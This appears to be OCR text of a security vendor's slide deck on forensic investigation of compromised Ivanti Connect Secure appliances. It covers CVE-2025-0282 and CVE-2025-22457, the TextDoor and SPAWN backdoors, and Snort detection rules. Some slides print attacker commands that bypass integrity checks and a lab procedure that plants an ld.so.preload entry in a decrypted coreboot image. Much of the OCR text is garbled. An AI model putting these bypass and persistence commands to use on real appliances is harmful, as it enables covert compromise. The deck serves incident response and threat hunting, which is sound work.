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where TeamT5 detected
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Investigation
Limitation and Methodology




Investigation Limitations

Encrypted System Data

Can’t reach Logs, files, malwares
Limited Visibility

Only Ul, No shell

Vendor Dependency
Gives Integrity Scans (ICT) instead

EOS Issues




Investigation Methodology

.. Vendor’s help - “Remote Debugging”
2. Offline & Through Decrypting entire disk image
3. SSH-Backdoor




Remote Debugging

Please choose from among the following options:
Hetwork Settings and Tools

Create admin username and password

Dizplay logs/status

System Operations

Toggle password protection for the console (0ff)
n session

- N

7. System Maintenance
. Reset allowed encryption strength for SSL

99. EnablesDisable Kernel Logging

13. Security Operations (SELinux, CSP)

14. Radius Configurations
Choice:| 7

Please choose from among the following options:
1. System Snapshot
2. Rermote Debugging
J. System InlormMation
4. Session database snapshot
6. Check for any dangling bookmarks

{return to go back to main menu
Choice:| 2 |

Please provide the debugging code and the server to comnect to.
|Ilahugying Code: _ |




Investigation Methodology

1. Vendor’s help - “Remote Debugging”
>. Offline & Through Decrypting entire disk image

3. SSH-Administration Console (Jailbreak)




vl3
é:? vil

path;
"sed

-1 "/\\/bin\\/cp \\/tmp\\/data\\/root\\/\\${kerndir}\\/coreboot.img \\/tmp\\/data\\/bo"

/bin/dsmain MN\n"

Offline DiSk "o{\\;g:r\1>;:;1r /new'_img\\\n"

Decryption

BusyBox

Swiss Army Knife
of Embedded Linux

- A single executable
that combines linux
commands (ex: 1s, cp,
mv ...) into a lightweight
package.

Command:
/bin/dsmain cp ...

/bin/dsmain mv ...

/bin/sh /tmp tract_vmlinux.sh /tmp/data/root/$S{kerndir})/bzImage > /tmp/new_img/vmlin"
/bin/rm /tmp/extract vmlinux. sh\\\n"

output=$(/bin/dsmain|strings|-t x /tmp/new_img/vmlinux | grep \"Linux version \")\\\n
offset=\"0x\"$(echo Soutput awk "\"'\"'{print $1}'\"'\"")\\\n"

offset=$((offset + OxcH))\\\n"

key:S(/bm'm -'s \"Soffset\" -1 16 -p /tmp/new_1img/vmlinux)\\\n"

/bin/dsmain /tmp/data/root/S{kerndir)/coreboot.img /tmp/new_img/coreboot.img.1.gz §"
\\n"
/bin/mkdir /tmp/coreboot_fs\\\n"

/bimdsmam/tmp/new_img/coreboot.1mg.1.gz -¢ > /tmp/coreboot _fs/coreboot.img.1"

cd /tmp/coreboot fs\\\n"

/bin/dsmain -idvm < coreboot.img.1 \\\n"

/bin/rm _coreboot.img.I\\\n"

cp /bin'dsmain /tmp/coreboot_fs/bin/dsmain’\\n"

cp /11b/%s /tmp/coreboot_fs/1ib/%s\\\n"

cp /home/venv3/1lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/coreboot_fs/bin/"
ner-0.1-py3.6.egg\\\n"

/bin/sed -1 \"/rollback on_error \\\\$? \\\\\"Extracting Package \\\\\"/a \\\\\\\n"
/bin/dsmain|touch]/etc/1d.so.preload\\\\n\\\\\\\n"

/bin/dsmain sed|-1 AN 11/7101D/7%s\\\\\" /home/root/etc/1d.so.preload\\\\n\\\\\\\n"
/binscp soin/dsmain /home/root/bin/dsmain\\\\n\\\\\\\n"

/bin/cp /binsscanner-0.1-py3.6.egg /home/root/home/venv3/1ib/python3.6/site-packages/s”
er-0.1-py3.6.egg\\\\n\\\\\\\n"

/

tmp/coreboot fs/bin/init\\\n"

/m‘nrdsmam. -print | /binfdsmain[cpio]-o -H newc > /tmp/coreboot_fs/coreboot.im"
\\n"

/bin/dsmain |gzip|/tmp/coreboot_fs/coreboot.img.1\\\n"
/bin/asmain “’ tmp/coreboot_fs/coreboot.img.1.gz /tmp/data/root/${kerndir}/coreboot.{"
Skey\\\n"

rm -rf /tmp/coreboot_fs' /tmp/installer/do-install-coreboot”;




& Vi1
dsmain

path;
"sed -1 '/\\/bin\\/cp \\/tmp\\/data\\/root\\/\\$S{kerndir}\\/coreboot.img \\/tmp\\/data\\/bo”
"ot\\//1\\\n"

Yy /bin/mkdir /tmp/new_img\\\n"
. /b1mdsma1n“\\n"
' /bin/sh /tmp tract_vmlinux.sh /tmp/data/root/S{kerndir)/bzImage > /tmp/new_img/vmlin"

"ux\\\n"
n /bin/rm /tmp/extract_vmlinux.sh\\\n"

Command:

dsmain -g = Drop sy—4ualakdic fino/coreboot TS\\\0-

extract_vmlinux.sh

dsmain -d =

Decrypts coreboot.img

dsmain -e =

Encrypts coreboot.img

output=$(/bin/dsmain strings -t x /tmp/new_img/vmlinux | grep \"Linux version \")\\\n"
offset=\"0x\"$(echo Soutput | awk '\"'\"'{print $1}'\"'\"")\\\n"

offset=§((offset + BxcO))\\\n"

key=$(/bin/d in xxd -s \"Soffset\" -1 16 -p /tmp/new img/vmlinux)\\\n"

/bin/dsmain /tmp/data/root/${kerndir}/coreboot.img /tmp/new_img/coreboot.img.1.gz §"
/R\\n"

/bin/dsma1n|gunz1p‘/tmp/new_img/coreboot.1mg.1Agz -C > /tmp/coreboot_fs/coreboot.img.1"
\

cd /tmp/corebhgot fs\\\n"

/b\n/dsmam-idvm < coreboot.img.1l \\\n"

/bin/rm coreboot.img.1\\\n"

cp |/bin/dsmain /tmp/coreboot_fs/bin/dsmain\\\n"

cp |/11b/%s /tmp/coreboot_fs/1ib/%s\\\n"

cp |/home/venv3/1ib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/coreboot_fs/bin/"
ner-0.1-py3.6.egg\\\n"

/bin/sed -1 \"/rollback_on_error \\\\$? \\\\\"Extracting Package \\\\\"/a \\\\\\\n"
/bin/dsmain| touch fetc/ld.so.preload\\\\n\\\\\\\n"

/bin/dsmain|sed -1]\\\\\"11/11b/%s\\\\\" /home/root/etc/ld.so.preload\\\\n\\\\\\\n"
/bin7asmain /home/root/bin/dsmain\\\\n\\\\\\\n"

/bindfcp |/bin/scanner-08.1-py3.6.egg /home/root/home/venv3/1lib/python3.6/site-packages/s"
ner-0Jj1-gy3.6.egg\\\\n\\\\\\\n"

/tmp/cOreboot_fs/bin/init\\\n"
/bin/dsmain find . -print | /mn/dsmam-o -H newc > /tmp/coreboot fs/coreboot.im"
\\\n"

/bin/dsmain /tmp/coreboot fs/coreboot.img.1l\\\n"

76707
Skey

rm -r1 /tmp/coreboot_fs /tmp/installer/do-install-coreboot ,
[ S



vl3 = path;
vil = "sed -1 '/\\/bin\\/cp \\/tmp\\/data\\/root\\/\1$(kernd1r)[\\l’coreboot.1ng\\/tmp\\/data\\/bo"
"ot\\//1i\\\n"
SPAWN /bin/mkdir /tmp/new_img\\\n"
B /bin/sh /tmp]extract_vm11nux.sh|/tmp/data/root/l!(kerndir)[bzln‘q> /tmp/new__mg
"ux\\\n"

u
Famll _VIMLINUX. SHL\\n
y *  output=$(/bin/dsmain strings -t x /tmp/new_img/mlinux] | grep \"Linux version \")\\\n"
offset=\"0x\"$(echo Soutput | awk '\"'\"'{print $1}'\"'\"")\\\n"

offset=$((offset + 8xcOH))\\\n"
key=$ (/bin/dsmain xxd -s \"Soffset\" -1 16 -p /tmp/neu_mg]vulinux \\\n"
/bin/dsmain /tmp/data/root/F{kernd'lril coreboot.img|/tmp/new_img coreboot.img.l.gz“"
Key\\\n"

/bin/mkdir /tmp/coreboot_fs\\\nt
® /bin/dsmain gunzip /tmp/new_1mglcoreboot.1mg.1.gz| -c > /tmp/coreboot_fs:{coreboot.1mg.1[‘
“\\\n*

2 @ % % 3 3

cd /tmp/coreboot_fs\\\n"
1 /bin/dsmain cpio -idvm <|coreboot.1m§.l |\\\n'
e corebOOt'lmg ! /bin/rm coreboot.img.1\\\n"

» cp /bin/dsmain /tmp/coreboot_fs/bin/dsmain\\\n"

[ ) bZI mage o cp /1ib/%s /tmp/coreboot_fs/lib/%s\\\n"

2 cp /home/venv3/1ib/python3.6/site-packages/scanner-8.1-py3.6.egg /tmp/coreboot_fs/bin/"

1 scanner-0.1-py3.6.egg\\\n"
o lelnux ! /bin/sed -1 \"/rollback_on_error \\\\$? \\\\\"Extracting Package \\\\\"/a \\\\\\\n"
= " /bin/dsmain touch /etc/1d.so.preload\\\\n\\\\\\\n"
° ${kernd|r} 1 /bin/dsmain sed -1 \\\\\"11/11b/%s\\\\\" /home/root/etc/1d.so.preload\\\\n\\\\\\\n"

" /bin/cp /bin/dsmain /home/root/bin/dsmain\\\\n\\\\\\\n"

- /bin/cp /bin/scanner-0.1-py3.6.egg /home/root/home/venv3/1ib/python3.6/site-packages/s"
"canner-0.1-py3.6.egg\\\\n\\\\\\\n"
2 /
"\" /tmp/coreboot_fs/bin/init\\\n"

o /bin/dsmain find . -print | /bin/dsmain cpio -0 -H newc > /tmp/coreboot_fs

"g.1\\\n"

/bin/dsmain gzip /tmp/coreboot_fs/jcoreboot.img.1p\\n"

o /b1n.'dsma1n/tmp/coreboot_fs corebooc. img.1.8 /tmp/data/root[i(kerndir}Mcoreboot.1“|
"mg Skey\\in"

" rm -rf /tmp/coreboot_fs' /tmp/installer/do-install-coreboot”;




Copycat

vli3 =
vil =

path;

"sed -1 '/\\/bin\\/cp \\/tmp\\/data\\/root\\/\\${kerndir}\\/coreboot.img \\/tmp\\/data\\/bo"
"ot\\//1\\\n"

% /bin/mkdir /tmp/new_img\\\n"

" N

AR

3 /bin/sh /tmp/extract_vmlinux.sh /tmp/data/root/${kerndir}/bzImage > /tmp/new_1img/vmlin"

"ux\\\n"

— JDIN/TMW /UMpP/EXLTact_VMLINUX.SNLL\n
output=$(/bin/dsmain strings -t x /tmp/new_1img/vmlinux | grep \"Linux version \")\\\n"
offset=\"0x\"$(echo Soutput | awk "\"'\"'{print $1}'\"'\"")\\\n"
offset=$((offset + OxcH))\\\n"
key=$(/bin/dsmain xxd -s \"Soffset\" -1 16 -p /tmp/new_img/vmlinux)\\\n"
/bin/dsmain -d /tmp/data/root/${kerndir}/coreboot.img /tmp/new_img/coreboot.img.1l.gz $"
LA
" /bin/mkdir /tmp/coreboot_fs\\\n"
/bin/dsmain gunzip /tmp/new_img/coreboot.img.1.gz -c > /tmp/coreboot_fs/coreboot.img.1"
“\\\n*
o cd /tmp/coreboot_fs\\\n"
= /bin/dsmain cpio -idvm < coreboot.img.l \\\n"
" /bin/rm coreboot.img.1\\\n"
cp /bin/dsmain /tmp/coreboot_fs/bin/dsmain\\\n"
cp /1i1b/%s /tmp/coreboot_fs/lib/%s\\\n"
cp /home/venv3/1ib/python3.6/site-packages/scanner-8.1-py3.6.egg /tmp/coreboot_fs/bin/"
scanner-0.1-py3.6.egg\\\n"
/bin/sed -1 \"/rollback_on_error \\\\$? \\\\\"Extracting Package \\\\\"/a \\\\\\\n"
/bin/dsmain touch /etc/ld.so.preload\\\\n\\\\\\\n"
/bin/dsmain sed -1 \\\\\"11/11b/%s\\\\\" /home/root/etc/1d.so.preload\\\\n\\\\\\\n"
/bin/cp /bin/dsmain /home/root/bin/dsmain\\\\n\\\\\\\n"
/bin/cp /bin/scanner-0.1-py3.6.egg /home/root/home/venv3/1ib/python3.6/site-packages/s"
“canner-0.1-py3.6.egg\\\\n\\\\\\\n"
2 /
"\" /tmp/coreboot_fs/bin/init\\\n"
" /bin/dsmain find . -print | /bin/dsmain cpio -0 -H newc > /tmp/coreboot_fs/coreboot.im"
"g.1\\\n"
i /bin/dsmain gzip /tmp/coreboot_fs/coreboot.img.1\\\n"
= /bin/dsmain -e /tmp/coreboot_fs/coreboot.img.1.gz /tmp/data/root/${kerndir}/coreboot.{"
"mg Skey\\\n"
\ rm -rf /tmp/coreboot_fs' /tmp/installer/do-install-coreboot”;

= = s 3 = - = = L



Investigation Methodology

Vendor’s help - “Remote Debugging”
Offline - Through Decrypting entire disk image

SSH Administration Console (Jailbreak)

IN LAB
Only!




lvanti System Mechanism




Ivanti Startup Execution Process Tree

GRUB (disk pt1)

kernel (disk pt2/3)

Coreboot.img (disk pt2/3)

/bin/init (ram)

/sbin/init (disk lvm home)




&
Ivanti Startup Execution Process Tree

/sbin/init (disk lIvm home)
l \ /home/bin/dsmond

/home/bin/dsmonitor /home/config
/home/boot.pl

/home/bin/dsstartkwatchdog

/home/bin/dsacpiwatch

/sbin/auditd

Jusr/local/bin/dsjail.sh web.spec.cfg
/home/bin/dscleanupcores web80.spec.cfg integrityscanne
/home/bin/cache_server web.cfg r.spec.cfg

/home/bin/dsconfig.pl




Incident Response
on lvanti




&

Filesystem

—(kalis kali)-[/]
—% hexdump -C ftmp/1
Q0000000 a4 81 00 00 00 00 00 00 |15 dé Oc &8 I’iﬂ d9 Oc 68] | v eeneennns h8..h]|
00000010 [15 de Oc EB|DD 00 00 00 0O 00 01 00 OO0 00 00 00 @ J...Bheceeeceennn. |
00000020 00 00 00 00 03 00 00 00 OO0 00 00 00 00 00 00 00  |...eeeeeenancnnn |
00000030 00 00 00 00 QO OO0 00 00 00 00 00 00 00 00 00 00  |.e.eeeeeenencnns |
+*
00000060 0O OO OO0 00 47 Jc e3 17 00 00 00 00 00 00 00 00 |....Gleveeueneennn |
QOOOQO0T0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00000080 20 00 00 00|e8 cb ea dl [ED 91 eb 39'80 91 eb 39] | eeeieeeen 9...9]
00000090  EEEEESCCENEEaN Rl (0 U0 OO0 OO0 00 00 00 00 [Bn.e.."0........ |
QOO000ad 00 00 00 00 00 00 00 00 OO0 00 00 OO Q0 00 OO OO0 |
-(kali® kali)-[/]
00000100 [— sudo debugfs /dev/loopOp2 fstat <13>° tee
debugfs 1.47.1 (20-May-2024)
Inode: 13 Type: reqular Mode: 0644 Flags: 0x0
Ext2 Generation: 400784455 Version: 0x00000000:00000003
. User: 0 Group: 0 Project: 0 Size: 0
File ACL: O
|n0de —— 128 bytes Links: 1 Blockcount: 0
Fragment: Address: O Number: 0 Size: 0
ctime: 0x680cd938:dleacSe8]| -—- Sat Apr 26 06:01:44 2025
Ext3_ atime: 0x680cd615:39e59180 Sat Apr 26 05:48:21 2025
. mtime: 0xe680cdel5:39e59180 |-- Sat Apr 26 05:48:21 2025
crtime: 0x65936e42:4f22b9d4 —— Mon Jan 1 18:00:34 2024
Inode == 256 bytes Size of extra inode fields: 32
BLOCKS:




&
Filesystem

[:—{kaliﬁ kali)-[/]
$ sudo debugfs /dev/mapper/groupA home -R 'stats' | tee | grep size
debugfs 1.47.1 (20-May-2024)
Filesystem features: has journal ext attr resize inode dir index f
Block size: 4096
Fragment size: 4096
Inode si:ze: 256
Required extra isize: 28
Desired extra isize: 28

EEEEERELEREEEYGDS,



" How to Identify Suspicious Binaries and
Volatile Components

Signature-Based Method (hash)

Heuristic and Behavioural based Method

Timestamp Outliers

Static / Dynamic-link
ELF .comment (compiler version)




pa-ips-sa-generc V227 13-b1771-integritycheck- package tgz
BEF) FHHFO IAKG) BENAESO) \MN) #H)

GEE)) 85 S Bl e \® @
B @ | 1] N\ W
MERT in .1.] i -] = E
T Bps-pssac V22713-b1771 -integrtycheck-package tgrh \installer\bom _files - TAR«GZ2IP RIS%

W

| |

I n te rlt C h ec k Tool sackage-bom-sha2S6-PPS-0114-7168.1.08 4285025
C bom-sha2%-PPS-9.1.141-7589. .1 4790735
N ge-bom-sha?2s6-PPS-9.1.13.6129.1 49192N
I CT 3 e-bom-sha2%-PPS-9.1.13.1-7015.1.m1 4919455
D . bom sha256- PPS-9.1.12-6427 1. 4916297

N ( v-sha hPPS 91126351 1.1

sha256-PPS-9.1.11-5510. 1.0t

It contains all T

package -bom-sha256-1PS-22 7.1 2- 14851 1xt
- - y package bom sha2s6-IPS-22.7.1.1-1321.1 txt
Default lvanti files Package.bom shazS6 S 22612.67318
3 pbom sha?s6-1PS-22.61.2-673.1.1xt

package-bom-sha256-1PS-22.6.1.1-669.1 1t

package -bom-sha2S6-1PS-22 5.1-553 1.t
Path + Hashes e
N vsha256-1PS-22.5.1.2-621.1 txt
$ha25h- PS5 22573161511t
package-bom-sha256-1PS-224.1-373.1 .t
package bom sha2s6-IPS-22.4.1 2-465.1 1xt 459351
bom-sha256-1PS-22.4.1.1-463.1.1x1 4593531
bom sha256-1PS-22 3.1-455.1 1t 4,592,145
¢-bom sha256-1P5-22.2.3-1049.2.1xt 5065630
sha256-1PS-22.2.3-993.1 .1t 4916453

he-bom
Ex - » bom-sha2sh- 1PS-22.2.1-461.1 1t
n

ps-ics-sa-genericV91188-b256171- | Sstrassnim
bom-sha256-1PS-9.1.17

integritycheck-package.tgz -t 756755

e-bom-sha256-1PS-9.1
bom sha2S6-1PS




Signature-Based
(Hash)

Integrity Check Tool
(ICT)

It contains all
Default Ivanti files’
Path + Hashes

S /runtime/pkg

-rw-r--r-- 1 root root 329 Jan 22 2025 var-backup. tgz
-rw-r--r——- 1 root root 924704961 Jan 22 2025 data-backup.tgz
-rw-r--r—-- 1 root root 1712004768 Jan 22 2025 package.pkg

Inside package.pkg — manifest




Timestamp Outliers

— Heuristic and Behavioural based Method

[ Birth / Change / Modify ] TimeStamps

I_—(kaﬂ 1% kali)-[/mnt/ N home /root ]
$ sudo bash ~/Desktop/file_ctime_outliner.sh ./1ib/

Analyzing folder: ./1ib/
Dutlier file: 1736728186 ./1ib/11ibdsupgrade.so
Outlier file: 1735030594 ./1ib/1ibdsmond.so

Analyzing folder: ./lib/oss1-modules
Dutlier file: 1733782465 ./1ib/oss1-modules/fips.s0

Analyzing folder: ./lib/opencryptoki
Dutlier file: 1733782465 ./lib/opencryptoki/PKCS11_API.s0




Dynamic/Static linking

— Heuristic and Behavioural based Method

[—{kahf kali) - [~/ |

/staticlnk ~/Desktop/

I —
Scanning directo r‘y /home/kali fDesktop;’_

[Static] .clang

[Static] .cli

[Dynamic] .env

[Static] .i-

[Dynamic] .liblogblock.so
[Static] dslogd

[Dynamic] libaprhelper.so
[Dynamic] Tlibchilkat.so
[Dynamic] libdsmeeting.so
[Dynamic] libdsproxy.so
[Dynamic] Tibdsupgrade.so
[Dynamic] libsshd.so, libsocks5.so
[Dynamic] libupgrade.so
[Static] 1linux

[Dynamic] mem.rd

[Static] upgradeton1s

Scan complete




ELF .comment (compiler version)

— Heuristic and Behavioural based Method

—(kaTie kali)- [~/ H—

$ ./gcc ~/Desktop/ I

=== ELF Scanner ===

Scan start time: 2026-01-08 20:51:30

Target directory: /home/kali/pDesktop/ |
Skipping directories: /proc, /dev, /mnt*, /run

Scanning. ..

=== Scan Statistics ===
Total ELF files found: 16
Files with .comment: 13
Files without .comment: 3

=== Files WITH .comment section ===

[Tag 1] GCC: (GNU) 4.8.5 20150623 (Red Hat 4.8.5-44)
Count: 1 file(s)

- /home/kali/Desktop/ I/ 1ibaprhelper.so

[Tag 2] GCC: (GNU) 4.8.5 20150623 (Red Hat 4.8.5-44) | GCC: (Ubuntu 4.4.3-4ubuntu5.1) 4.4.3
Count: 1 file(s)

- /home/kali/Desktop/ NN /1ibchiTkat. so




&
ELF .comment (compiler version)

— Heuristic and Behavioural based Method

~/Desktop/

ELF Scanner
*;E'.'-Ir'. start t 'm:*: ?l‘.l?-:'i 01-08 '/‘.”.- :51: 'il’:
T: rul dir v: Jhome/kali/Desktop
HI( poing 1||u; ories: /proc 1“ /mnt * /
[Tag 3] GCC: (GNU) 4.4.4 ZUlGUEED (Red Hat 4 4. 4 10) | GCC: (GNU) 4.4.4 20100630 (Red Hat 4.4.4-10) | GCC:
GCC: (Gﬂg)f414(4}291ﬂ053ﬂ (Red Hat 4.4.4-10) | GCC: (GNU) 4.4.4 20100630 (Red Hat 4.4.4-10) | GCC: (GNU) 4
Count: 1lels

- /home/ka11/Desktop/ I/ ren . rd

[Tag 4] Gcc: (GNU) 11.2.0 | GCC: (Ubuntu 9.4.0-1ubuntul~20.04.2) 9.4.0
Count: 1 file(s)

- /home/kali/Desktop/ NG/ upgradetools

[Tag 5] GCcC: (Debian 12.2.0-14) 12.2.0
Count: 2 file(s)
- /home/kali/Desktop/ I/ - clang
- /home/kali/Desktop/ N/ - env

[Tag 6] GCC: (GNU) 11.2.0
Count: 6 file(s)

- /home/kali/Desktop/ /.1iblogblock.so

- /home/kali/Desktop/ /1ibdsmeeting.so

- /home/kali/Desktop/ /1ibdsproxy.so

- /home/kali/Desktop/ /1ibdsupgrade. so

- /home/kali/Desktop/ /1ibsshd.so, 1ibsocks5.so
- /home/kali/Desktop/ /1ibupgrade.so




Exploitation Chain
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Exploitation Chain

—bﬁ—}m

CVE-2025-0282
CVE-2025- TextDoor SPAWN DebtTheft

22457 family
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Exploitation Chain

|l © ) = =) =)

CVE-2025-0282

CVE-2025-
22457




‘ Exploitation Timeline

| 2025-01 |2025—O4

CVE-2025-0282 published CVE-2025-22457 published

Affected products: Affected products:

= Ivanti Connect Secure (ICS), - Ivanti Connect Secure (ICS), ZTA
/TA gateway, and Policy gateway, and Policy Secure
Secure _ Pulse

Connect Secure & Policy Secure



5
W

" Vulnerability Detail: CVE-2025-0282

Vulnerable binary: /home/bin/web, which handles all incoming
HTTP requests and VPN protocol

Stack overflow via dangerous function ()
Attack vector:

Leaked PoC from PHRACK (APT DOWN), weaponized with
TextDoor backdoor was first exploited in 2024.

Drop Location: /mnt/hgfs/Desktop/expl_admin.py
(The file is also included in ivanti-new-exp-20241220.zip)

This is an Ivanti exploit, possibly for CVE-2025-0282, CVE-2025-0283,
https://[phrack.org/issues/72/7_md

—A!



&

Vulnerability Detail: CVE-2025-22457

Stack overflow via dangerous function: ()
Attack vector:
Only digits ( ) and “ ” are allowed in overflowed strings.

x_forward_len = strspn(x_forward, "901234567890.");
copy_len = x_forward_len + 1;

v7 = alloca(x_forward_len + 2);

*(_DWORD *)&v176[4] = x_forward;

x_forward = (char *)&v178;

strlcpy(&v178, *(_DWORD *)&v176[4], x_forward_len + 1);
strlcpy(s, *(_DWORD *)&al->header_val[i_1], copy_len);

3B



&

Coredump analysis of CVE-2025-22457

Stack smashed by sprayed dlglt

Oxffelcead |+0xP006: Bx31313131 Px3233312e 0x2e302020 > 0Ox20202020
Bxffelceald |+8x0004: Bx31313131 -» ©x3233312e <> 0Ox2e302020 > ©x20202020
Bxffelcea8 |+BxP0B8: Bx31313131 -» ©x3233312e <> 0Ox2e302020 > ©x20202020
Bxffelceac |+BxB0Bc: Bx31313131 > ©x3233312e > 0Ox2e302020 > ©x202020280
@xTfelcebd |+0x0010: Bx31313131 -» ©x3233312e > 0Ox2e302020 -> ©x20202020
OxfTfelcebs |+0x0014: 8x31313131 -» ©x3233312e -+ 0Ox2e302020 > ©x20202020
Oxffelceb8 |+0x0018: ©Bx31313131 -» ©x3233312e <> 0Ox2e302020 > ©x20202020
Oxffelcebc |+8x001lc: ©Bx31313131 -» ©x3233312e <> 0Ox2e302020 > ©x20202020
Command 'context' failed to execute properly, reason:
x/s $esp

I1I
x/s BxFFElDSAC
"X-Forwarded-For: ©3970597',

<repeats 106 times>, "@0070007"

'1' <repeats 290 times>, "@0070007\r\n\r\n\



Exploitation Chain

TextDoor
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Coredump analysis: Initial payload

Initial payload gathers the following information and deploy
(memory injector) to inject into “.-*
process of ICS.

PID of VPN web server: /home/bin/web
TextDoor shellcode

Base address of /home/bin/web process
Base address of 1ibssl.so

memory layout of /home/bin/web

Prawns injector
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TextDoor

Aka_ BUShfire if version_str == "22.7.2615":

H - address_config['SSL_read_got_plt'] = 0x168740
Tallor made badeoor for address_config['save_SSL_read_addr'] = 0x169730
|Vant| VPN Web server. address_config['ssl write_addr_got_plt'] = 0x168b10

address_config['SSL_get_fd_offset_SSL_read'] = oxffffef6f
Shared by China APT groups ... ..o« — 2000
An in-memory passive address._contig'SSL_read_gat_plt'] = 0xI6874D
address_config['save_SSL_read_addr'] = 0x169730
badeoor hOOks () address_config['ssl_write_addr_got_plt'] = 0x168b10
2 SSL_get_fd_offset_SSL_read'] = oxffffef6f

of ICS web server to hijack all address_configl'

TLS trafﬁc_ elif version_str == "22.7.3221":

Threat actors collected address_config[*

address_config["'

gadget addresses including address_contigl

address_config["'

most of ICS versions.

SSL_read_got_plt'] = 0x168740
save_SSL_read_addr'] = 0x169730
ssl_write_addr_got_plt'] = 0x168B10
SSL_get_fd_offset_SSL_read'] = oxffffef6f



i

=

Functionality of TextDoor

Fully featured plugin-based backdoors executed in shellcode
Command execution

Arbitrary file read/write

Memory injection and patch

Privilege escalation

Clean traces such as coredump, audit logs, debug log, etc.




' Exploitation Chain

= "ﬁ"

SPAWN
family




Persistent backdoor: SPAWN family

China APT actors choose high value
& targets to implant SPAWN family for
; persistence and lateral movment

, is a passive

backdoor belonging to a modular
malware suite, featuring the following

components:
: SOCKSS tunnel
: SSH functions
(shell)
: Log service
silence



Integrity Check Bypass,,

Ivanti uses public key integrity check to prevent file
tampering. However, CHIMERA can resign the modified
files to turn off protection.

sed -i "s/exit 1/exit 0/g" /home/bin/check_integrity.sh

sed -i "s/check_integrity.sh w{64}/check_integrity.sh ‘/home/bin/openss| dgst

/home/bin/check_integrity.sh | cut-d " " -f 2°/" /home/etc/manifest/manifest
/home/bin/openssl genrsa private.pem 2048
/home/bin/openssl rsa -in private.pem manifest.2 PEM

/home/bin/openssl| dgst private.pem manifest.1 /home/etc/manifest/manifest
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Integrity Check Bypass,,

Ivanti performs integrity checks during boot. However,
CHIMERA disables the integrity-check scanner in the coreboot

image.

begin Lateway boot process

2A25-12-15 A3:39:86.542836: Inteqrity Scan Started?

Integrity Scan Results ! Matched Files 28273, Newly Detected Files B, Mismatched
Files B

Z2AZ25-12-15 H3:39:45.2819bb: Integrity Scan Finished?
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Integrity Check Bypass,,

Ivanti performs integrity checks during boot. However,
CHIMERA disables the integrity-check scanner in the coreboot
image.

with open(file,"rb") as f:

= self.computeHash(file, HASHING.SHA256.value)

self.matchCount += 1
self.matchedFiles.append(file)



&
Fix CVE-2025-22457

Hook () function; only magic overflowed strings
can exploit CVE-2025-22457.

int new_strlcpy(char *dst, char *src, unsigned int ori_len)

{

S ey )i X-Forwarded-For: R
e <repeats 290 times>, "00070007\r\n\r\n
{ v4d = progname + 1;

program_name_sum = @;

do

{

++vd ;

program_name_sum += v3;
vi = *(v4d - 1);

}
while ( v3 );

ve = src;
if ( program_name_sum == @x13E )
while ( 1 )
{
vl = *vb;
if ( 1*ve || (v7 - '0') > 9u && v7 1= )
break;
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Protocol Analysis

&) ?

Attacker web (SPAWNMOLE)  dsmdm (SPAWNSNAIL) Endpoints

Fake TLS Server Hello

SOCKS5 / 128.0.0.1 “NIX domain sockei

SOCKS5 / Other IP L ateral movement

—

| Crafted TLS Client Helli



Revealing Unknown Victims
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Threat Hunting

Snort rule (lvanti — Attacker)

alert tcp $HOME_NET $EXTERNAL_NET (msg: "Fake TLS serial number"; flow:from_server,
established; content: " |16 @3 03 00|"; offset:?; depth:4; content: " |59 d3 b® 74 ac 64 33
81|"; offset: ; fast_pattern; sid:14; rev:l;)

alert tcp $HOME_NET $SEXTERNAL_NET (msg: "Fake TLS common name"; flow:from_server,

established; content: " |16 @3 03 00|"; offset:0; depth:4; content: "val.Ivanti.net"; offset:
; fast_pattern; sid:15; rev:l;)

alert tcp $HOME_NET $EXTERNAL_NET (msg: "Fake TLS common name: ivanti.coml";

flow: from_server, established; content: " |16 @3 @3 0@|"; offset:0; depth:4; content:

“"ivanti.coml"; offset: ; fast_pattern; sid:16; rewv:1l;)




ivantl Victims




Thank Youl!

contact@teamt5.org
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